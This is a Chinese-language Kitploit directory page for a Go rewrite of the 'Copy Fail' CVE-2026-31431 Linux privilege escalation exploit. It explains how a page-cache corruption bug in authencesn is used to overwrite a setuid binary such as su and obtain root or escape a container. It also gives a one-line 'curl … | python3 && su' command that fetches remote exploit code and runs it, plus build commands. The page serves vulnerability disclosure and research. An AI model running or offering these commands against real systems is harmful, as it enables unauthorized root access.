Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431 — Golang rewrite of the Copy Fail (CVE-2026-31431) local privilege escalation exploit, corrupting page cache to gain root on Linux systems. | Kitploit
工具/GitHubGitHub/gr-1m/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationContainer EscapeBinary Exploitation
GitHubgr-1m/cve-2026-31431

CVE-2026-31431

Golang rewrite of the Copy Fail (CVE-2026-31431) local privilege escalation exploit, corrupting page cache to gain root on Linux systems.

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31431 — Copy Fail

732 字节,通杀主流 Linux 发行版,直达 root

CVE-2026-31431(Copy Fail)是 Linux 内核 authencesn 加密模板中的一个逻辑漏洞。它允许非特权本地用户对系统上任意可读文件的页缓存(page cache)进行确定性的、可控的 4 字节写入。

概述

  • CVE 编号: CVE-2026-31431
  • 类型: 本地提权 / 容器逃逸
  • 影响范围: 启用 CONFIG_CRYPTO_AUTHENC 的 Linux 内核(2017 年以来几乎所有主流发行版)
  • 发现者: Xint Code 研究团队,Theori 研究员 Taeyang Lee 提供初始思路

漏洞原理

漏洞由两个行为链式触发:

  1. AF_ALG + splice: splice() 以引用方式将页缓存页面传递到 AF_ALG 套接字的 scatterlist 中。在 AEAD 解密原地模式下,tag 页面(来自目标文件的页缓存)通过 sg_chain() 仍然链在输出 scatterlist 上。

  2. authencesn 的越界写入: crypto_authenc_esn_decrypt() 将 dst[assoclen + cryptlen](tag 之后、属于页缓存的区域)用作 ESN 序列号重排的暂存区,写入 4 字节攻击者可控数据且不恢复。

被破坏的页面永远不会被标记为脏页,因此磁盘上的文件保持不变。但实际读取的是内存中的页缓存——使得修改在整个系统中立即可见。

漏洞利用

利用程序每次 4 字节,将小型 shellcode 逐块写入 /usr/bin/su(或任意 setuid 二进制文件)的页缓存中。所有写入完成后,运行 su 即执行 payload 并获取 root shell。

Python 版 (exp.py)

原始 Python PoC 来自 https://copy.fail/。需要 Python 3.10+(因为用了 os.splice)。仅使用标准库模块。

root@kitploit:~
# 官方一行命令:
curl https://copy.fail/exp | python3 && su

# 或本地运行:
python3 exp.py

Golang版 (exp.go)

无需 Python 环境。编译运行:

root@kitploit:~
go run exp.go
go build -ldflags "-w -s" -trimpath -o exp exp.go

tinygo build -o exp exp.go

影响

特性说明
通用性同一脚本通杀 Ubuntu、Amazon Linux、RHEL、SUSE 等,无需按发行版调整偏移
极简Python 利用仅约 732 字节
隐蔽性

参考资料

  • copy.fail — 官方公告
  • Xint 博客 — Copy Fail: 732 Bytes to Root
  • NVD 条目
  • rewrite by C

免责声明

本仓库仅供教育和防御性研究使用。请勿在未拥有或未获得明确测试授权的系统上使用此代码。

下载工具
绕过 VFS 写路径;页缓存永不标记脏页;磁盘校验和不改变
跨容器页缓存在容器间共享——可作为容器逃逸原语(详见第二部分)